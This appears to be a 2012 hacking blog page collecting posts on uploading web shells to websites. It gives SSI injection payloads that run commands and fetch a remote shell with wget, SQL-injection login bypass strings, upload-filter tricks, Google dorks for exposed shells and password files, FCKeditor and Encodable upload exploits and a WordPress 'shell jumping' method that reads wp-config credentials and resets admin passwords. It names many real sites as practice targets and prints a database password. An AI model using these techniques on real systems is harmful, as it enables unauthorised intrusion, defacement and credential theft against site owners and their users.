Search This Blog

Showing posts with label Shells. Show all posts
Showing posts with label Shells. Show all posts

Sunday, December 23, 2012

Upload a shell via SSI injection





Things you will need:

1) Site vulnerable to SSI injection (I will be giving few dorks and few vulnerable sites to practice on)

2) Common sense.
What is SSI?

SSI Injection (Server-side Include) is a server-side exploit technique that allows an attacker to send code into a web application, which will later be executed locally by the web server. SSI Injection exploits a web application's failure to sanitize user-supplied data before they are inserted into a server-side interpreted HTML file.

The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. It can be exploited through manipulation of SSI in use in the application or force its use through user input fields.

If an attacker submits a Server-side Include statement, he may have the ability to execute arbitrary operating system commands, or include a restricted file's contents the next time the page is served.

Description Taken From: http://nightcode.weebly.com/ssi-injection.html
Chapter I - Finding a vulnerable site

I will provide few dorks for this type of injection.
Best dork i found is


Code:
inurl:bin/Cklb/


but it gave about 863 results so not that usable.

Lets get to work shall we ;)

Enter
Code:
 inurl:bin/Cklb/

in Google and go testing.
Chapter II - Testing a site
So when you used that dork and you opened one site now you must determine id the site is vulnerable to this type of injection.

Here are some command you can use:
Credits: Stewie™
Code:
[/I]
[I]<!--#echo var="DATE_LOCAL" -->[/I]
[I]Will display the Date[/I]
 
[I]<!--#exec cmd="whoami"-->[/I]
[I]Will show which user is running on the server[/I]
 
[I]<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre> (Linux)[/I]
[I]Will display all files in the directory[/I]
 
[I]<!-- #exec cmd="dir" --> (Windows)[/I]
[I]Will display all files in the directory[/I]
[I]


Note: You will need to use the <pre></pre> tags to have some commands executed.

Now take one of the commands and insert it in search boxes or login fields.
Mostly login fields are vulnerable but there is some cases when search boxes are vulnerable.

NOTE: You most enter your command into both fields (If login are vulnerable!!)

I have my site for example:

Code:
[/I]
[I]http://dev.stockphotosamerica.com/bin/Cklb 

PLEASE BE REASONABLE TO THIS SITE.
DO NOT RAPE IT!

And when insert any command:
Code:
[/I]
[I]<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre> 


[IMG]

[IMG]

Now we see that our command successfully executed and that our site is vulnerable....
Chapter III - Spawning a shell
So we have our vulnerable site and we are ready to upload a shell.
First of all you will need a .TXT of your favourite shell (Host it somewhere free hosting,hacked site or anything you got)

Now we must download it to our site like this:
Code:
[/I]
[I]<!--#exec cmd="wget http://website.com/dir/shell.txt" --> 


So insert your site where your shell is hosted in the command and you are ready to go.

Now just paste it into the fields and press Login or Enter. 

[IMG]

To see if your .TXT file downloaded execute the command we used before:
Code:
[/I]
[I]<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre> 


[IMG]

If you see that it downloaded successfully now you must rename it from .txt to .php!
You can use this command
Code:
[/I]
[I]<!--#exec cmd="mv shell.txt shell.php" --> 


You rename filenames what ever you need (Offcourse you will need to put your .TXT name first.)

My command:
Code:
[/I]
[I]<!--#exec cmd="mv config1.txt config.php" --> 


Now again list the files and try to find your file now.
If you did now just access it.

[IMG]

[IMG]

[IMG]

That would be end of this tutorial.
I hope you learned something and do not rape sites with this 
(Be smart and use them)

Dorks
Credits: Stewie™

Code:
[/I]
[I]inurl:bin/Cklb/ - Best Dork
inurl:login.shtml[/I]
[I]inurl:login.shtm[/I]
[I]inurl:login.stm[/I]
[I]inurl:search.shtml[/I]
[I]inurl:search.shtm[/I]
[I]inurl:search.stm[/I]
[I]inurl:forgot.shtml[/I]
[I]inurl:forgot.shtm[/I]
[I]inurl:forgot.stm[/I]
[I]inurl:register.shtml[/I]
[I]inurl:register.shtm[/I]
[I]inurl:register.stm[/I]
[I]inurl:login.shtml?page= 


Vulnerable site to practice on:
Credits: Dan

Code:
[/I][/LEFT]
[LEFT][I]http://www.glasshouseimages.com/user/login.shtml[/I][/LEFT]
[LEFT][I]http://www.wppionlinecontest.com/user/login.shtml[/I][/LEFT]
[LEFT][I]www.cgibackgrounds.com/user/login.shtml[/I][/LEFT]
[LEFT][I]www.getstock.com/user/login.shtml[/I][/LEFT]
[LEFT][I]www.estostock.com/user/login.shtml[/I][/LEFT]
[LEFT][I]http://www.blendimages.com/user/login.shtml[/I][/LEFT]
[LEFT][I]http://www.pdnthelook.com/user/login.shtml[/I][/LEFT]
[LEFT][I]http://iloveimages.com/user/login.shtml[/I][/LEFT]
[LEFT][I]http://www.win-initiative.com/user/login.shtml (view source to see output)[/I][/LEFT]
[LEFT][I]http://thegatheringsphotocontest.com/user/login.shtml[/I][/LEFT]
[I]


To get a shell up, just wget the shellcode and make the output something such as "shell.txt".

Code:
[/I][/LEFT]
[LEFT][I]http://www.cgibackgrounds.com/Dan.txt



Add To Google BookmarksStumble ThisFav This With TechnoratiAdd To Del.icio.usDigg ThisAdd To RedditTwit ThisAdd To FacebookAdd To Yahoo

How To Upload Shell By Live Http Headers


Requirements:-
  • Mozilla Firox
  • Live HTTP Headers Add On for Firefox
  • A shell
So now lets begin,
  • Login to that site as a admin, then find a place to upload a file in that particular site.
  • Then rename your shell name to shell.php.jpg (or what ever that site supports. In my case, site supports only jpg file. Thats why i renamed it to shell.php.jpg.)
  • Then start your Live HTTP Headers addon, after that upload your shell.
  • Then your Live HTTP Headers will look something similar to this

    [IMG]
  • Then click on the shell.php.jpg, after click on Reply button.
  • Then again a new window will open, in that window there will be two boxes, but we have to work on second box.
  • In the second box, rename your shell.php.jpg to shell.php, then again click on Reply button.

    [IMG]
Now you have successfully done, only thing you have to do is to find the shell path.

Add To Google BookmarksStumble ThisFav This With TechnoratiAdd To Del.icio.usDigg ThisAdd To RedditTwit ThisAdd To FacebookAdd To Yahoo

Wednesday, November 7, 2012

Shell Uploading With SQL Injection

So Let's Start with simple Instructions.

What we Need Simple or Advance sql injection vulnerable Website eg.www.example.com/admin/adminlogin.asp

So Let's start With Tutourial.

1.We need to find Sql vulnerable website.
Like using your smartsense and playing with Google.
That is called google hacking
so how to use google hacking. Everyone Know about google dorks.
So use simple google dorks.
eg. inurl:adminlogin.asp or php or aspx
inurl:admin/adminlogin.aspx or php or asp


[Image: sql1.png]

You Can find these dorks On google Type "GHDB"
(google Hacking Database)

2.After you finding a website then you want to hack it or gain admin access So how to do it.
Here is same thing your smartsense.
First of fall use simple thing 
Username:admin
password:admin

if it is not working then use sql queries that is in simple codes.
That sql queries is used by database like 'or''='
0=0 if 0/=0 then 1=1 
something like that.
username:admin
password:'or''='
[/color]
So here Is some sql Queries that is maily used.
'or''='
' or'1'='1

' or 'x'='x

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

3.Now after that you have Admin Access.
After entering in Website You Want to find like gallery links or something that is add category like that.

[Image: sql3.png]

4.So Find the option of upload.
5.Select file. Select your shell here then upload it.
Everything is done now you want to find it.

Go to Website eg.www.example.com

[Image: sql6.png]

find your category or gallery link open it in gallery there is images showing.


Enjoy The Shell uploading. And do anything with Website what you Want..
Thanks for reading..

Add To Google BookmarksStumble ThisFav This With TechnoratiAdd To Del.icio.usDigg ThisAdd To RedditTwit ThisAdd To FacebookAdd To Yahoo

Saturday, June 2, 2012

Find Passwords and Uploaded PHP Shells via Google using Private Dorks



Google can be used to find some shells and password to bypass the security and do anything being an admin of that website etc.
So here are the steps and Dorks are listed below too
Go to Google.com and type these Dorks, and you will got a Lot of uploaded shells in Google serach results !!

Dorks for finding shells:


inurl:.php “cURL: ON MySQL: ON MSSQL: OFF”

“Shell” filetype:php intext:”uname -a:” “EDT 2010″

intitle:”intitle:r57shell” [ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ]

inurl:”c99.php” & intext:Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

inurl:”c100.php” & intext:Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

intitle:”Shell” inurl:”.php” & intext:Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update


Dorks for finding Passwords:


filetype:htpasswd htpasswd
intitle:”index of” “.htpasswd” -intitle:”dist” -apache -htpasswd.c
index.of.private (algo privado)
intitle:index.of master.passwd
inurlasslist.txt (para encontrar listas de passwords)
intitle:”index of..etc” passwd
intitle:admin intitle:login
“incorrect syntax near” (sql script error)
intitle:”the page cannot be found” inetmgr (debilidad en iis4)
intitle:index.of ws_ftp.ini
“supplied arguments is not a valid postgresql result” (possible debilidad sql)
_vti_pvt password intitle:index.of (frontpage)
inurl:backup intitle:index.of inurl:admin
“index of /backup”
index.of.password
index.of.winnt
inurl:”auth_user_file.txt”
“index of /admin”
“index of /password”
“index of /mail”
“index of /” +passwd
index of /” +.htaccess
index of ftp +.mdb allinurl:/cgi-bin/ +mailto
allintitle: “index of/admin”
allintitle: “index of/root”
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
administrator.pwd.index
authors.pwd.index
service.pwd.index
filetype:config web
gobal.asax index
inurlasswd filetype:txt
inurl:admin filetypeBig Grinb
inurl:iisadmin
inurl:”auth_user_file.txt”
inurl:”wwwroot/*.”
allinurl: winnt/system32/ (get cmd.exe)
allinurl:/bash_history
intitle:”index of” .sh_history
intitle:”index of” .bash_history
intitle:”index of” passwd
intitle:”index of” people.1st
intitle:”index of” pwd.db
intitle:”index of” etc/shadow
intitle:”index of” spwd
intitle:”index of” master.passwd
intitle:”index of” htpasswd
intitle:”index of” members or accounts
intitle:”index of” user_carts or user _cart

Add To Google BookmarksStumble ThisFav This With TechnoratiAdd To Del.icio.usDigg ThisAdd To RedditTwit ThisAdd To FacebookAdd To Yahoo

DK (ICF OFFICIAL ) SHELL



DESCRIPTION


This is official shell from ICF INDIAN CYBER FORCE team known as dk shell ..

This shell is build from the core of WSO shell

& COntains superb features like

♦FULLY AUTOMATIC SYMLINKER

♦FULLY AUTOMATIC SAFEMOD BYPASS (2012)

♦CPANEL CRACKER

♦FULLY UNDETECTABLE

♦FULLY ENCRYPTED

♦PASSWORD PROTECTION

♦PERL BASED BACKCONNECTION

♦CGI BYPASS MODE

♦NOW CAN BACKCONNECT FROM ANY SERVER




CREATED BY D& K ///////........

GREETZ:TO ALL ICF & OPENFIRE MEMBERS

DK OFFICIAL ICF SHELL   DOWNLOAD ... CURRENT SELL PASSWORD : DK 
thanks to my friends...daryl.varghese who shared it...


Add To Google BookmarksStumble ThisFav This With TechnoratiAdd To Del.icio.usDigg ThisAdd To RedditTwit ThisAdd To FacebookAdd To Yahoo

"Encodable" -Another Deface and shell upload Vulnerablity

Title : "Encodable" ~ another File upload Vulnerablity
Google Dork : "intext:File Upload by Encodable"

Lets Start .. 
open google.com and enter this dork :  "intext:File Upload by Encodable"
result comes with 166,000 results but some results are fake ... its may be malwaers 
so pick real things only , "Upload a file"  You will this title in search results here :)
click the sites sites only which comes with upload a file title 
after click the link you'll got a upload form 
you'll saw some options in this form like name Description email etc ...
 type anything in these boxes but add a email in email box, dont use your own 
put this one billy@microsoft.com , admin@nasa.gov etc :P

now choose you file and upload it :) 

after clicking on upload button a pop up will be open ... dont close it, it will automatilcly closed 
after uploading file 

in some sites you'll got you uploaded file link after uploading on website 
and if you did not file it then try these url
/upload/files/
or /upload/userfiles/

Live Demo : http://150.101.230.65:8008/cgi-bin/filechucker.plx
Uploaded page : http://150.101.230.65:8008/upload/files/xd.html

Add To Google BookmarksStumble ThisFav This With TechnoratiAdd To Del.icio.usDigg ThisAdd To RedditTwit ThisAdd To FacebookAdd To Yahoo

Portail Dokeos deface and Shell Upload vulnerability

Portail Dokeos vulnerability is a Kind of FCK editor remote file upload vulnerability
in this vulnerability hacker can upload a shelldeface page or any file on website without admin username and password


image_2315846.original.jpg (350×350) 

Google Dork : "Portail Dokeos 1.8.5"
Exploit :http://website/patch/main/inc/lib/fckeditor/editor/filemanager/upload/test.html


Goto : http://website/patch/main/inc/lib/fckeditor/editor/filemanager/upload/test.html chnage asp into PHP like FCK editor and Upload you deface shell or file, You can upload, .html .php .jpg .txt formats here
To view your uploaded file go here : http://website/patch/main/upload/your file here 


Live Demo : http://www.blowupwebshow.com/staff/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://www.blowupwebshow.com/staff/main/upload/backlinks.html
http://www.rottapro.net/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://www.rottapro.net/main/upload/backlinks.html

Other websites For practice

http://campus.flone.be/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://ns5.freeheberg.com/~dispensa/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://www.dokeos.nrc-gauthey.fr/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://www.ladapt-hn.com/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://my.eurasiam.com/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://el.technifutur.be/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://www.formation.megalodon.fr/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://www.pharmconseil-elearning.com/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://pro.accru.info/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://www.formation-microkine.fr/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://foad.ina.fr/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://campus.technifutur.be/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://www.fpafoad22.fr/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://www.ecoleprimaireenligne.fr/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://campus.flone.be/main/inc/lib/fckeditor/editor/filemanager/upload/test.html
http://www.elearning80.fr/main/inc/lib/fckeditor/editor/filemanager/upload/test.html

Add To Google BookmarksStumble ThisFav This With TechnoratiAdd To Del.icio.usDigg ThisAdd To RedditTwit ThisAdd To FacebookAdd To Yahoo

"Shell Jumping" Hacking wordpress websites Based on same server

Shell JumpingHacking Other websites Based on same server using b374k Newbie3viLc063s shell

Newbie3viLc063s shell is coded by newbie c0de d3vil, its a suitble shell for "Localhost Jumping"
This shell is new verison of most popular shell b374k 
download it here : http://pastebin.com/JDhBnfkH
(copy source from pastebin raw data section and paste it in notepad and save as any name .php, like shell.php or devilscafe.php ) 


Step 1- download shell =)
Click On Local Domain To view all websites based on same server 
Check for readable 
[click to view image]
Step 2 - Now choose any website from Local host domain list and copy Senarai User valuethen goto home and paste in view file/folder after home/replacethiskeyword/public_html/
for example current view file/folder value = home/abc/public_html
and your website's Senarai User value (username) is xyz then view file/folder value will be home/xyz/public_html/
[click to view image] 
Step 3 - After Going to that Folder Look for MySQL confiq (wp-config.php in wordpress and configuration.php for joomla ) now open The file and you'll Got datbase username and password here 
it will Looks like 
Username =

/** MySQL database username */
define('DB_USER', 'googlyma_wrdp1');



PASSWORD =

/** MySQL database password */
define('DB_PASSWORD', 'PHZ2hum6{{KE');

[click to view image] 
Step 4- Now Conncet to MYSQL datbase with username and Password
and enter this SQL Query 
UPDATE wp_users SET user_pass =md5( '123456') WHERE user_login = 'admin';
[click to view image] 
Step 5- goto : http://webste.com/wp-admin/ and login with Username and password
[click to view image] 

Images Via :Newbie3viLc063s

Add To Google BookmarksStumble ThisFav This With TechnoratiAdd To Del.icio.usDigg ThisAdd To RedditTwit ThisAdd To FacebookAdd To Yahoo